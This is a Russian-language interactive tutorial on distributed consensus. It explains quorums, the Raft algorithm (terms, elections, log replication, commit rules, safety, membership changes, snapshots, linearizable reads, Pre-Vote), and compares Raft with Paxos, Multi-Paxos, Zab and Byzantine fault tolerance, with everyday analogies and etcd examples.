    УзловКворумПереживёт отказВердикт
    110 узловКонсенсуса нет — просто один сервер
    220 узловХуже одного: падение любого из двух останавливает запись, а сломаться может вдвое больше машин
    321 узелМинимальный разумный кластер
    431 узелТерпит столько же, сколько 3, но дороже и медленнее. При разрезе 2 | 2 не работает ни одна половина
    532 узлаЗолотой стандарт: можно обслуживать один узел и пережить отказ второго
    642 узлаКак 5, только дороже
    743 узлаРедко: каждая запись ждёт трёх ответов из шести. etcd называет 7 разумным пределом
    Кворум считают от полного состава, а не от живых. Кластер из 5 узлов, 3 упали. «Из живых двух большинство — два» — так считать нельзя. Иначе при разрезе сети 2 | 3 обе половины посчитали бы себя большинством, и мы вернулись бы к пятничному вечеру. Из 5 нужно 3 — всегда.

    Проверьте сами: любые два большинства пересекаются

    Соберите два большинства из одних и тех же узлов: нажимайте узлы в первой и во второй строке. Попробуйте добиться, чтобы оба были большинствами и при этом не имели общего узла.

    группа 1
    группа 2

    глава 4 · raft за одну картинку роли, термы и журнал

    Raft — алгоритм консенсуса. Его придумали Диего Онгаро и Джон Оустерхаут из Стэнфорда. Статья вышла в 2014 году под названием «В поисках понятного алгоритма консенсуса» (In Search of an Understandable Consensus Algorithm). Raft решает ту же задачу, что и более старый Paxos, но устроен так, чтобы его можно было объяснить и правильно запрограммировать. Задачу он делит на три части: выборы лидера, репликация журнала и безопасность.

    Главная идея Raft — сильный лидер. В каждый момент (если всё хорошо) главный один. Все записи идут только через него. Он раскладывает их по своему журналу и раздаёт остальным. Остальные ничего не решают сами: только соглашаются или отказываются. Если лидер пропал — выбирают нового.

    Три роли

    🙂 Фолловер (follower)

    Последователь. Обычное состояние узла. Ничего не отправляет сам: отвечает лидеру и кандидатам. Держит таймер выборов: если долго не слышит лидера — выдвигается сам.

    Как жилец, который ходит на собрания и голосует.

    🙋 Кандидат (candidate)

    Узел, который выдвинулся в лидеры. Увеличил номер терма, проголосовал за себя и просит голоса у остальных. Состояние короткое: через миг он либо лидер, либо снова фолловер, либо начинает выборы заново.

    Как жилец, который сказал: «Председателя давно не видно. Выдвигаюсь, голосуйте за меня».

    👑 Лидер (leader)

    Принимает все записи от клиентов. Раздаёт журнал остальным и решает, какие записи подтверждены. Регулярно шлёт сердцебиения: «я жив, выборы не нужны».

    Как председатель, который ведёт протокол и рассылает его всем жильцам.

    Терм — номер созыва

    Терм (term) — номер «эпохи» в жизни кластера. Каждые выборы начинают новый терм, и номер растёт только вверх: 1, 2, 3… В каждом терме — не больше одного лидера. Бывает и терм совсем без лидера, если голоса разделились. Каждый узел хранит свой текущий терм на диске. Каждое сообщение несёт терм отправителя.
    номер созыва совета жильцов. Если в дверь стучит «председатель 3-го созыва», а у нас уже идёт 5-й, его распоряжения недействительны — как бы уверенно он ни говорил. А если мы сами застряли в 3-м созыве и узнали, что уже идёт 5-й, — мы просто признаём новый созыв.

    Правило 1. Увидел терм больше своего

    Обнови свой терм до этого числа и стань фолловером. Даже если ты был лидером — твоё время прошло.

    Правило 2. Пришло сообщение со старым термом

    Отвергни его. В ответе сообщи свой терм — пусть отправитель узнает, что он отстал.

    Проще говоря. Терм работает как логические часы: по нему любой узел сразу понимает, свежая у него информация или устаревшая. Настоящие часы в Raft для правильности не нужны — только номера термов. Таймеры используются лишь для того, чтобы вовремя начать выборы.

    Журнал, коммит и автомат состояний

    Журнал (log) — пронумерованный список команд. У каждой записи есть номер (index: 1, 2, 3…) и терм, в котором лидер её принял. Например: запись №4 из терма 3: «скидка = 15 %».
    Закоммиченная запись (committed) — запись, которую лидер признал окончательной: она сохранена у большинства узлов. Закоммиченную запись Raft обещает никогда не потерять и никогда не заменить другой. Только после коммита клиенту отвечают «готово».
    Автомат состояний (state machine) — то, ради чего всё затевалось: сами данные. Например, таблица настроек или дерево ключей etcd. Узел применяет (apply) закоммиченные записи журнала к автомату по порядку: запись №1, потом №2, потом №3.
    протокол собраний. Страницы пронумерованы, на каждой указан номер созыва. Черновик решения на странице ещё не закон. Закон — то, что подписано большинством. А «текущие правила дома» получаются, если прочитать все подписанные страницы по порядку.

    Что каждый узел хранит

    ЧтоГдеЗачем
    currentTerm — текущий термна дискеПосле перезапуска узел не должен «забыть» новый созыв и вернуться в старый
    votedFor — за кого голосовал в этом термена дискеЧтобы после перезапуска не проголосовать в том же терме второй раз за другого
    log[] — журнална дискеЗаписи, которые узел подтвердил лидеру, не должны пропасть при отключении питания
    commitIndex — номер последней закоммиченной записив памятиПосле перезапуска узел узнает его заново от лидера
    lastApplied — сколько записей применено к автоматув памятиЧтобы применять каждую запись ровно один раз и по порядку
    nextIndex[], matchIndex[]в памяти лидераДля каждого фолловера: какую запись слать ему следующей и до какой он точно совпадает с лидером. Глава 7
    «На диске» — буквально. Узел обязан записать терм, голос и новые записи журнала на диск (с fsync) до того, как ответит на сообщение. Иначе после отключения питания он может «забыть», что уже проголосовал или подтвердил запись. Тогда все гарантии рассыпаются.

    Как узел переходит из роли в роль

    Нажимайте на переходы. Стрелка на схеме подсветится, а ниже появится объяснение.

    Всего три вида сообщений

    RequestVote

    «Проголосуй за меня». Шлёт кандидат во время выборов. Ответ: «да» или «нет» плюс свой терм. Глава 6.

    AppendEntries

    «Допиши в журнал эти записи». Шлёт лидер. Без записей это сердцебиение (heartbeat): «я жив». Ответ: «успех» или «не совпало». Глава 7.

    InstallSnapshot

    «Вот снимок всего состояния». Шлёт лидер сильно отставшему узлу, когда нужных записей журнала уже нет. Глава 9.

    глава 5 · живой кластер пять узлов на Raft: запускайте, выключайте, режьте сеть

    Это модель кластера Марины: пять узлов, настоящие правила Raft. Узлы стоят по кругу. Сообщения летят между ними. Справа — журнал каждого узла и лента событий с объяснением на человеческом языке. Нажмите «▶ Запустить» и дождитесь первых выборов. Потом записывайте значения, выключайте узлы кликом и режьте сеть.

    узлы — выключить / включить
    скорость
    защиты
    журналы узлов · сплошная рамка — закоммичено, пунктир — ещё нет · цвет — терм
    что происходит · новое сверху
    Как читать схему. Цвет узла — роль: серый — фолловер, жёлтый — кандидат (пунктирный жёлтый — предкандидат при Pre-Vote), зелёный — лидер, красный — выключен. Под буквой — терм узла. Дуга вокруг узла — таймер выборов: она убывает, пока узел не слышит лидера. Кончилась — узел выдвигается. Сообщения:
    RV т4 просьба о голосе в терме 4 ✓ голос / ✕ нет ответ на неё ♥ сердцебиение — пустой AppendEntries AE+2 AppendEntries с двумя записями ок #7 / нет ответ на AppendEntries PV т5 предголосование ✕ сообщение потеряно
    Что заложено в модель. Настоящие правила Raft: терм и голос хранятся «на диске» и переживают выключение, журнал тоже. commitIndex живёт в памяти и после включения узнаётся от лидера. Сообщение идёт 25–45 мс, сердцебиение — каждые 90 мс, таймаут выборов — случайный из 250–500 мс. Время замедлено примерно в 10 раз (на «обычной» скорости). Новый лидер сразу добавляет в журнал пустую запись ∅ своего терма — так делает etcd, зачем — в главе 8. Случайность идёт от сида: при том же сиде и тех же действиях всё повторится точь-в-точь. При разрезе сети клиентов двое: Анна пишет в левую часть, Борис — в правую. Каждый — лидеру своей части.

    Попробуйте — каждый опыт объясняется в ленте событий

    глава 6 · выборы как пять узлов выбирают одного лидера

    На живом кластере выборы пролетают за секунду. Разберём их медленно: кто, когда и почему решает выдвинуться; что написано в просьбе о голосе; по каким правилам узел голосует; что будет, если голоса разделились.

    Сердцебиение (heartbeat) — пустое сообщение AppendEntries, которое лидер регулярно шлёт каждому фолловеру. Смысл один: «я жив, я лидер терма N». Получив его, фолловер перезапускает свой таймер выборов.
    Таймаут выборов (election timeout) — сколько фолловер готов ждать вестей от лидера. Прошло столько времени в тишине — фолловер решает, что лидера нет, и выдвигается сам. У каждого узла таймаут случайный из диапазона: в статье Raft — 150–300 мс, в etcd по умолчанию около 1 секунды. После каждого сброса число выбирается заново.
    вы с друзьями договорились, что кто-то один позвонит в ресторан и закажет столик. Если все подождут ровно 5 минут и позвонят разом — будет три заказа. Если каждый ждёт случайно от 3 до 8 минут, почти всегда кто-то позвонит первым и напишет в чат «заказал». Остальные увидят и звонить не станут.

    Шаг за шагом: что делает узел, когда таймер кончился

    1
    Увеличивает терм на единицу и записывает на диск. Был терм 2 — стал 3. Начинается новый созыв.Почему на диск: если узел перезагрузится посреди выборов, он не должен вернуться в старый терм.
    2
    Становится кандидатом и голосует за себя. Записывает на диск votedFor = себя.Голос за себя — это первый из трёх нужных голосов (в кластере из пяти).
    3
    Заводит новый случайный таймер — на случай, если выборы не закончатся.Если за это время не станет лидером и не услышит другого лидера — начнёт выборы заново, в следующем терме.
    4
    Рассылает RequestVote всем остальным — параллельно, не дожидаясь ответов по одному.
    5
    Ждёт одного из трёх исходов. Набрал большинство голосов — стал лидером. Пришло сообщение от лидера с термом не меньше своего — признаёт его и становится фолловером. Таймер кончился, а большинства нет — снова шаг 1.

    Что летит по проводу: RequestVote

    RequestVote {
      "term":         3,     // мой новый терм — номер созыва, в котором я выдвигаюсь
      "candidateId":  "C",   // кто просит голос
      "lastLogIndex": 5,     // номер последней записи в моём журнале
      "lastLogTerm":  2      // терм этой последней записи
    }
    ответ {
      "term":        3,      // терм отвечающего — чтобы отставший кандидат узнал о новом созыве
      "voteGranted": true    // да / нет
    }

    Два последних поля запроса — самое интересное. По ним голосующий решает, не отстал ли журнал кандидата. Зачем — ниже.

    Правила голосования

    1
    Терм запроса меньше моего — отказ. Кандидат из прошлого созыва. В ответе мой терм: пусть узнает, что опоздал.
    2
    Терм запроса больше моего — сначала обновляю свой терм и становлюсь фолловером. Мой голос в новом терме пока свободен.
    3
    Один голос на терм. Если в этом терме я уже голосовал за другого — отказ. Голосую за того, чей запрос пришёл первым. Голос записываю на диск до ответа.
    4
    Голосую только за кандидата, чей журнал не старее моего. Сравниваю последние записи: сначала терм последней записи — у кого больше, тот свежее. Если термы равны — сравниваю номер: чей журнал длиннее, тот свежее.
    ✓
    Всё прошло — голосую «да» и перезапускаю свой таймер выборов. Раз я кого-то поддержал, мне самому выдвигаться сейчас незачем.
    Проще говоря, зачем правило 4. Закоммиченная запись лежит у большинства. Кандидату нужны голоса большинства. Два большинства пересекаются. Значит, среди голосующих обязательно окажется узел, у которого эта запись есть. Если журнал кандидата старее, этот узел откажет. Итог: лидером может стать только узел, у которого есть все закоммиченные записи. Поэтому Raft никогда не передаёт журнал от фолловеров к лидеру — только от лидера к фолловерам.
    Последняя запись кандидатаПоследняя запись голосующегоГолосПочему
    терм 3, №5терм 2, №9даТерм последней записи 3 больше 2. Длина неважна: девять записей голосующего включают устаревший «хвост» старого лидера
    терм 3, №5терм 3, №7нетТермы равны, у голосующего журнал длиннее — у кандидата может не быть записей №6–№7
    терм 3, №7терм 3, №7даОдинаковые — «не старее» выполнено
    терм 1, №2терм 3, №5нетКандидат долго был выключен и отстал

    Проверьте себя: даст ли узел голос?

    Решено 0 из 0.

    Проигрыватель: выборы от начала до конца

    Три сценария. «Обычные выборы» — лидер упал, остальные выбирают нового. «Разделённые голоса» — два кандидата выдвинулись почти одновременно, и никто не набрал большинства. «Отставший кандидат» — выдвинулся узел со старым журналом, и ему отказали. Дуга вокруг узла — оставшееся время его таймера.

    То же самое — секвенсом

    Время идёт сверху вниз. Жмите «Дальше →» или прямо на стрелки.

    А если на каком-то шаге всё сломается?

    Как подбирают числа. Авторы Raft сформулировали правило: время рассылки ≪ таймаут выборов ≪ среднее время между отказами. Рассылка — сколько идёт сообщение туда-обратно с записью на диск: доли миллисекунды — десятки миллисекунд. Таймаут — в десятки раз больше, чтобы обычные задержки не вызывали выборов. Отказы — раз в месяцы. В etcd по умолчанию сердцебиение 100 мс и таймаут 1000 мс. В кластере между регионами оба числа увеличивают.
    Как это звучит в требованиях. «При отказе лидера кластер координации автоматически выбирает нового не дольше чем за 5 секунд; в это время запись недоступна, чтение последних подтверждённых данных — тоже». Последняя часть важна: аналитик должен понимать, что пока выборы идут, запись стоит — и заложить повторы на стороне клиентов.

    глава 7 · репликация как одна запись становится подтверждённой

    Лидер выбран. Олег в админке меняет скидку на 15 %. Проследим эту запись от кнопки до ответа «готово». По пути встретятся главные механизмы Raft: проверка согласованности, откат nextIndex и правило коммита.

    1
    Клиент отправляет команду лидеру. Если отправил фолловеру, тот ответит «лидер — C» (или сам перешлёт команду, как делает etcd).
    2
    Лидер дописывает команду в конец своего журнала с текущим термом и сохраняет на диск. Запись пока не закоммичена — клиенту не отвечаем.
    3
    Лидер рассылает AppendEntries всем фолловерам параллельно. В сообщении — новая запись и «пароль совпадения»: номер и терм записи прямо перед ней.
    4
    Фолловер проверяет пароль. Есть у меня запись с таким номером и термом? Да — дописываю новую запись на диск и отвечаю «успех». Нет — отвечаю «не совпало».
    5
    Лидер считает подтверждения. Запись есть у большинства (считая его самого) и она из текущего терма — лидер двигает commitIndex. Запись закоммичена.
    6
    Лидер применяет запись к автомату состояний (скидка стала 15 %) и отвечает клиенту «готово».
    7
    Фолловеры узнают о коммите из следующего AppendEntries — в поле leaderCommit — и тоже применяют запись у себя.

    Что летит по проводу: AppendEntries

    AppendEntries {
      "term":         3,                         // терм лидера — «я лидер 3-го созыва»
      "leaderId":     "C",                       // кто лидер — чтобы фолловер перенаправлял клиентов
      "prevLogIndex": 3,                         // номер записи прямо ПЕРЕД новыми
      "prevLogTerm":  3,                         // и её терм — «пароль совпадения»
      "entries":      [ {"index":4, "term":3, "cmd":"скидка=15"} ],  // новые записи; пусто — сердцебиение
      "leaderCommit": 3                          // до какой записи у лидера всё закоммичено
    }
    ответ {
      "term":    3,       // терм фолловера — если он больше, лидер узнает, что устарел
      "success": true     // пароль совпал и записи дописаны
    }

    Проверка согласованности: пароль из номера и терма

    Свойство совпадения журналов (Log Matching). Если у двух узлов есть запись с одинаковыми номером и термом, то эти записи одинаковые, и все записи до них тоже одинаковые. Почему: в одном терме один лидер, и он кладёт в каждый номер только одну запись. А фолловер дописывает новые записи, только если совпала предыдущая. Совпадение передаётся по цепочке, как в домино.
    сверка двух экземпляров протокола по телефону. Не нужно зачитывать все сто страниц. Достаточно спросить: «У тебя страница 57 подписана в 3-м созыве?» — «Да». Тогда всё до неё у нас совпадает: каждая страница заводилась, только если совпадала предыдущая.

    Два счётчика лидера на каждого фолловера

    nextIndex — что слать следующим

    Сразу после выборов лидер оптимистично ставит всем «номер моей последней записи + 1» — будто у всех всё как у него. Получил отказ — уменьшает на единицу и пробует снова. Так он «отступает» назад по журналу фолловера, пока не найдёт общую точку.

    matchIndex — до куда точно совпадает

    До какой записи журнал фолловера гарантированно такой же, как у лидера. Растёт после каждого «успеха». По этим числам лидер и понимает, что запись есть у большинства.

    Откат по одной записи — медленно? Да, поэтому в настоящих реализациях фолловер в отказе подсказывает: «мой журнал кончается на №2» или «в №5 у меня терм 2, он начинается с №4». Лидер прыгает сразу к нужному месту. Если нужные записи уже удалены компакцией, лидер присылает целый снимок состояния (глава 9).

    Правило коммита

    commitIndex — номер последней закоммиченной записи. Лидер двигает его на N, если одновременно: (1) запись N есть у большинства — считая самого лидера; (2) запись N из текущего терма лидера. Всё, что раньше N, коммитится автоматически, вместе с ней.
    Почему «из текущего терма». Кажется, хватило бы «есть у большинства». Нет: запись старого терма, лежащая у большинства, в редком сценарии всё ещё может быть затёрта. Разбор этого сценария — в главе 8. Поэтому новый лидер сразу добавляет пустую запись своего терма. Как только она закоммичена, закоммичены и все старые записи до неё.

    Проигрыватель: репликация по шагам

    «Одна запись» — путь команды от клиента до ответа. «Отставший догоняет» — узел был выключен, лидер ищет с ним общую точку. «Старый лидер в меньшинстве» — сеть разрезана, два узла считают себя лидерами, но подтверждать записи может только один.

    Запись клиента — секвенсом

    Если лидер упал посреди записи

    Когда упалЧто с записьюЧто видит клиент
    Дописал к себе, но никому не отправилПропадёт: новый лидер её не знает и затрёт этот номер своей записьюТаймаут. Можно повторить
    Отправил, запись у меньшинстваМожет выжить, может пропасть — зависит от того, кто станет лидером. Если выживет, её закоммитит новый лидер вместе со своей записьюТаймаут. Неизвестно, применилась ли команда
    Запись у большинства, лидер закоммитил, но не ответилВыживет обязательно: новый лидер будет из тех, у кого она естьТаймаут, хотя команда применена
    Ответил «готово»Выживет обязательноУспех
    Вывод для аналитика: таймаут — это «не знаю», а не «не получилось». Если клиент на таймаут просто повторит команду «списать 1 пару», она может примениться дважды. Поэтому команды делают идемпотентными: у каждой свой уникальный номер, и автомат состояний помнит, какие номера уже применил. В диссертации автора Raft это описано как «сессии клиентов». В требованиях: «повторная отправка запроса с тем же ключом идемпотентности не меняет результат».
    Про скорость. Все записи идут через одного лидера. Чтобы он не стал узким местом, реализации пакуют много команд в один AppendEntries и не ждут ответа на прошлый пакет, прежде чем слать следующий. Если и этого мало, данные режут на части, и у каждой части своя группа Raft со своим лидером. Так делают CockroachDB, TiKV и YugabyteDB (глава 14).

    глава 8 · безопасность почему в Raft не бывает двух лидеров, подтверждающих записи

    Вспомним пятницу: две копии обе продали последнюю пару. Может ли так случиться в Raft? Может ли в какой-то момент два узла считать себя лидерами? Да, может. Может ли два лидера оба подтвердить записи? Нет, никогда. Разберём, почему.

    Пять обещаний Raft

    Авторы Raft доказали, что алгоритм всегда выполняет пять свойств. Нажмите на пункт, чтобы раскрыть.

    Почему «расщеплённый мозг» не случится

    1. В одном терме — один лидер

    Лидеру терма нужны голоса большинства. Каждый узел в терме голосует один раз. Два большинства пересекаются, общий узел не может проголосовать за двоих. Значит, двух лидеров одного терма не бывает.

    2. Старый лидер ничего не подтвердит

    Лидер старого терма может быть жив и не знать, что его сменили. Но чтобы подтвердить запись, ему нужны «успехи» от большинства. В большинстве обязательно есть узел, который уже знает новый терм. Этот узел ответит отказом со своим термом, и старый лидер тут же станет фолловером.

    Проще говоря. Два узла могут одновременно носить корону. Но печать для подписи решений — большинство голосов — есть только у одного. Старый лидер в меньшинстве похож на председателя, который заперся в кабинете и пишет распоряжения. Подписать их некому, и ни одно не вступит в силу.
    Что старый лидер всё-таки может сделать плохого. Принять запись и держать клиента в ожидании — клиент получит таймаут, а не ложное «готово». И отдать устаревшее чтение, если отвечает на чтения сам, не спросив большинство. Это ловушка из главы 10.

    Самый тонкий сценарий: почему коммитят только записи своего терма

    В главе 7 было правило: лидер двигает commitIndex, только если запись из его текущего терма. Вот сценарий, ради которого это правило придумано. Он есть в статье Raft, на рисунке 8. Журналы показаны таблицей: строка — узел, столбец — номер записи, число — терм записи.

    глава 9 · жизнь кластера смена состава, снимки и компакция журнала

    Кластер живёт годами. Диски умирают, серверы переезжают в другую зону, журнал растёт. Две штатные задачи: поменять состав кластера и не дать журналу съесть весь диск.

    Смена состава: почему нельзя просто поменять список узлов

    Конфигурация кластера (membership) — список узлов, которые голосуют и считаются при подсчёте большинства. Её меняют, когда добавляют, убирают или заменяют узел.

    Трудность в том, что узлы узнают о новом составе не одновременно. Какое-то время часть кластера считает большинство по старому списку, часть — по новому. Выберите способ смены и посмотрите, что может произойти.

    Узел-ученик (learner, в etcd с версии 3.4) — новый узел, который получает журнал, но не голосует и не входит в большинство. Пока он догоняет, кворум не меняется. Догнал — его «повышают» до голосующего.
    новый жилец въехал в дом. Сначала он получает копии всех протоколов и читает их — но голосовать на собраниях начинает, только когда разобрался. Иначе он мог бы голосовать, не зная, что уже решено.

    Как заменяют умерший узел etcd — по шагам

    1
    Убедиться, что большинство живо. Кластер из 3 без одного узла работает, но без запаса: следующий отказ его остановит. Поэтому замену не откладывают.
    2
    Убрать мёртвый узел из состава: etcdctl member remove <id>. Состав стал 2 из 2 — кворум 2. Звучит страшно, но так надёжнее, чем сначала добавить: при составе 4 кворум стал бы 3 из 4, а живых только 3.
    3
    Добавить новый узел учеником: etcdctl member add node-4 --learner --peer-urls=… и запустить его. Он скачивает снимок и догоняет журнал.
    4
    Повысить до голосующего: etcdctl member promote <id>. etcd не даст повысить ученика, пока тот не догнал лидера.

    Снимки и компакция журнала

    Снимок (snapshot) — сохранённое на диск состояние автомата на момент записи №N плюс номер и терм этой записи. После снимка все записи журнала до N можно удалить: они уже «вшиты» в снимок. Это и есть компакция журнала (log compaction).
    банковская выписка. Банку не нужно хранить каждую покупку за двадцать лет, чтобы знать ваш остаток. Раз в месяц он пишет «на 1-е число остаток 12 400 ₽» и дальше считает от этой строки.
    Не путайте в etcd две разные «компакции». Первая — снимки Raft: etcd делает их сам, чтобы журнал Raft не рос бесконечно. Вторая — история версий ключей: etcd помнит прошлые значения каждого ключа, и её чистят командой etcdctl compact или автоматически по настройке. После неё нужна дефрагментация, чтобы вернуть место на диске. Про обе должен знать тот, кто эксплуатирует etcd.

    глава 10 · чтение и «вечные выборы» ReadIndex, аренда лидера, Pre-Vote и CheckQuorum

    Кажется, с чтением всё просто: спроси лидера — он знает всё. Но лидер может быть уже не лидером и не знать об этом. Разберём, как читать правильно и сколько это стоит.

    Линеаризуемое чтение (linearizable read) — чтение, которое видит результат всех записей, подтверждённых до начала этого чтения. Система ведёт себя так, будто копия данных одна, и все операции выстроены в одну очередь.
    расписание поездов. Бумажное расписание на стене — чтение с отставанием: его повесили утром, и об отмене поезда в 14:00 оно не знает. Звонок диспетчеру — линеаризуемое чтение: диспетчер сверяется с тем, что происходит прямо сейчас. Это дольше, зато ответ точный.

    Ловушка: старый лидер отвечает на чтение сам

    Сеть разрезана. A — старый лидер в меньшинстве, он об этом не знает. В большинстве уже новый лидер D, и скидку там поменяли. Анна спрашивает у A — и получает старое значение.

    ReadIndex: проверить, что ты всё ещё лидер

    1
    Лидер запоминает свой commitIndex — это «номер чтения» (readIndex). Условие: в текущем терме лидер уже закоммитил хоть одну свою запись — например, ту самую пустую ∅. Иначе он может не знать, что из старых записей закоммичено.
    2
    Лидер рассылает сердцебиение и ждёт подтверждения от большинства. Подтвердили — значит, на момент начала чтения он точно был лидером: нового лидера с большим термом нет.
    3
    Лидер ждёт, пока автомат состояний применит всё до readIndex.
    4
    Читает из автомата и отвечает. Запись в журнал не нужна — только один обмен сообщениями с большинством.
    Чтение с фолловера тоже можно сделать линеаризуемым. Фолловер спрашивает у лидера текущий readIndex (лидер выполняет шаги 1–2), дожидается, пока сам применит всё до этого номера, и отвечает из своих данных. Нагрузка на данные уходит с лидера, но обмен с лидером остаётся.

    Аренда лидера: быстрее, но с доверием к часам

    Чтение по аренде (lease read). Лидер получил подтверждения от большинства в момент T. Фолловеры не начнут выборы раньше, чем через таймаут выборов. Значит, до момента T + таймаут (минус запас) нового лидера точно нет, и можно отвечать на чтения без обмена сообщениями.
    Цена: зависимость от часов. Расчёт верен, только если таймеры на разных машинах идут с почти одинаковой скоростью. Пауза процесса (та же сборка мусора) или прыжок часов могут сделать так, что лидер считает аренду живой, а новый лидер уже выбран. Поэтому аренду берут с запасом, а там, где ошибка недопустима, выбирают ReadIndex. Подробнее о часах — в разделе «Время и порядок».

    Способы чтения рядом

    Нажмите на строку — появится пояснение.

    «Вечные выборы»: изолированный узел срывает работу

    Представим: узел B потерял связь с остальными на минуту. Он не слышит лидера, его таймер кончается — B выдвигается в терме 5. Голосов нет, таймер кончается снова — терм 6, 7… 40. Сеть вернулась. B шлёт RequestVote с термом 40. Лидер C видит терм больше своего и по правилу 1 становится фолловером. Кластер, который прекрасно работал, остаётся без лидера и проводит лишние выборы. Сам B победить не может — его журнал отстал.

    Предголосование (Pre-Vote). Перед настоящими выборами узел спрашивает: «Проголосовали бы вы за меня в терме N+1?». Свой терм он при этом не увеличивает. Остальные отвечают «да», только если сами давно не слышали лидера и журнал кандидата не старее. Не набрал большинства «да» — настоящих выборов не начинает, терм не растёт.
    прежде чем созывать внеочередное собрание, жилец обходит соседей: «Председатель пропал?» — «Да нет, вчера видели, всё в порядке». Он не устраивает собрание и не будоражит дом.
    Проверка кворума (CheckQuorum). Лидер следит, отвечает ли ему большинство. Если за время таймаута выборов большинство не откликнулось, лидер сам слагает полномочия. Заодно фолловеры, которые недавно слышали лидера, игнорируют чужие просьбы о голосе. Старый лидер в меньшинстве перестаёт принимать запросы вовремя, а не через минуты.

    Обе защиты описаны в диссертации автора Raft и включаются в библиотеке etcd настройками PreVote и CheckQuorum. Проверьте разницу на живом кластере.

    Что вы увидите. Без защит терм изолированного узла растёт с каждым таймаутом. После «🔗 Восстановить сеть» лидер получит просьбу о голосе с большим термом и уступит. Начнутся лишние выборы. Выиграет их не изолированный узел: пока он был отрезан, клиент сделал запись, и журнал изолированного отстал. С Pre-Vote терм изолированного узла стоит на месте, и его возвращение проходит незаметно.

    глава 11 · родственники Paxos, Multi-Paxos и Zab: чем они похожи на Raft и чем отличаются

    Raft — не первый алгоритм консенсуса. До него десятилетиями жил Paxos, а ZooKeeper использует свой Zab. На собеседованиях и в документации баз эти имена встречаются постоянно. Разберём их на пальцах.

    Paxos

    Paxos — алгоритм консенсуса Лесли Лэмпорта. Статья «Парламент на полставки» (The Part-Time Parliament) написана в 1989 году, опубликована в 1998-м. Позже Лэмпорт выпустил короткое объяснение «Paxos — это просто» (Paxos Made Simple, 2001). На Paxos построены, например, сервис блокировок Chubby и база Spanner в Google.

    В базовом Paxos (его называют Basic Paxos или Single-Decree) узлы договариваются об одном значении. Роли три:

    Предлагающий (proposer)

    Хочет, чтобы приняли его значение. Предлагающих может быть несколько одновременно — лидера в базовом Paxos нет.

    Принимающий (acceptor)

    Голосует. Помнит два числа: самый большой номер, которому дал обещание, и последнее принятое предложение.

    Узнающий (learner)

    Узнаёт итог: значение выбрано, когда его приняло большинство принимающих.

    1а
    Prepare(n). Предлагающий берёт уникальный номер n, больше всех, что видел, и шлёт принимающим: «Готовы рассмотреть предложение номер n?»
    1б
    Promise. Принимающий, если n больше всех прежних обещаний, обещает больше не принимать предложений с меньшими номерами. В ответе он сообщает, что уже принимал раньше: номер и значение.
    2а
    Accept(n, v). Получив обещания большинства, предлагающий выбирает значение. Если кто-то из ответивших уже принимал значение — он обязан предложить его, взяв то, у которого номер больше. Своё значение он может предложить, только если никто ничего не принимал.
    2б
    Accepted. Принимающий принимает (n, v), если не обещал никому номер больше n. Когда (n, v) приняло большинство — значение v выбрано навсегда.
    решение в чате жильцов без председателя. Прежде чем предлагать «красим подъезд в зелёный», вы собираете обещания: «рассматриваю только предложения с номером от 12 и выше». Если кто-то из соседей отвечает «я уже поддержал голубой в предложении №9», вы обязаны продвигать голубой, а не свой зелёный. Так два разных цвета никогда не наберут большинство.

    Дуэль предлагающих: почему Paxos может «зациклиться»

    Если два предлагающих всё время перебивают друг друга номерами, ни одно предложение не проходит. Безопасность не нарушается, но решения нет. Это та самая «живучесть» из теоремы FLP. Лечится так же, как в Raft: случайные паузы и выбор одного главного предлагающего.

    Multi-Paxos и Zab

    Multi-Paxos

    Базовый Paxos решает одно значение, а системе нужен журнал — тысячи значений подряд. Multi-Paxos запускает Paxos на каждую ячейку журнала и выбирает постоянного лидера. Лидер один раз проходит фазу 1 и дальше шлёт только Accept — как AppendEntries в Raft. Беда в том, что в статье Лэмпорта многие детали Multi-Paxos не описаны: как выбирать лидера, как менять состав, как делать снимки. Инженеры Google в статье «Paxos Made Live» (2007) рассказали, сколько пришлось додумать самим, чтобы построить Chubby.

    Zab (ZooKeeper Atomic Broadcast)

    Протокол ZooKeeper. Очень похож на Raft, хотя появился раньше. Вместо терма — эпоха (epoch). Каждая транзакция получает номер zxid: эпоха плюс счётчик внутри неё. На выборах побеждает узел с самой свежей историей. Затем идёт фаза синхронизации: лидер доводит фолловеров до своего состояния. Дальше — рассылка: предложение, подтверждения от большинства, отдельное сообщение «коммит». Чтения ZooKeeper обслуживает с любого узла, поэтому они могут отставать. Для свежего чтения перед ним вызывают sync().

    Сравнение в одной таблице

    Нажмите на строку — появится пояснение.

    Почему Raft называют «понятным». Авторы специально ставили понятность главной целью. Лидер сильный: записи идут только от него. В журнале нет «дыр»: записи идут подряд, а у Multi-Paxos ячейки могут заполняться не по порядку. Выборы устроены просто: случайные таймауты и правило «голосую за не отставший журнал». Задача разделена на три независимые части. Авторы даже провели опыт со студентами двух университетов: после лекций про Raft студенты отвечали на вопросы лучше, чем после лекций про Paxos. Сегодня Raft — самый распространённый выбор для новых систем: etcd, Consul, Kafka KRaft, CockroachDB, TiKV, YugabyteDB, RabbitMQ, ClickHouse Keeper.

    глава 12 · когда узлы врут византийские отказы и BFT

    Всё, что мы разбирали, опирается на одно негласное допущение: узлы честные. Они могут упасть, зависнуть, опоздать или потерять сообщение. Но если узел ответил «записал», значит, записал. А если сказал «мой терм 5», значит, так и есть.

    Византийский отказ (byzantine failure) — узел ведёт себя как угодно: врёт, шлёт разным узлам разное, подделывает сообщения, голосует дважды. Причина может быть в злом умысле (узел взломан или принадлежит нечестному участнику) или в тяжёлой ошибке: испорченная память, баг, диск, который говорит «записал», не записав. Название — из статьи Лэмпорта, Шостака и Пиза «Задача византийских генералов» (1982).
    голосование в совете жильцов, где один «жилец» — подсадной. Он говорит соседу слева «я за», соседу справа «я против» и подписывает два противоположных протокола. Обычные правила совета рассчитаны на честных людей — против такого они бессильны.

    Почему Raft не защищает от вранья

    Голос дважды

    Узел голосует в терме 7 и за B, и за D. У обоих по 3 голоса — два лидера в одном терме. Вся безопасность держалась на «один голос за терм».

    Ложное «записал»

    Узел отвечает «успех», не записав на диск. Лидер считает запись у большинства и коммитит её. Узел падает — и подтверждённая запись может пропасть.

    Огромный терм

    Узел с ошибкой шлёт терм 9 000 000 000. Все послушно обновляют терм и становятся фолловерами. Если он будет делать это постоянно, кластер не сможет работать.

    Как устроены алгоритмы BFT

    BFT (Byzantine Fault Tolerance, устойчивость к византийским отказам) — алгоритмы, которые договариваются правильно, даже если до f узлов ведут себя как угодно. Цена: нужно 3f + 1 узлов вместо 2f + 1, а кворум — 2f + 1.
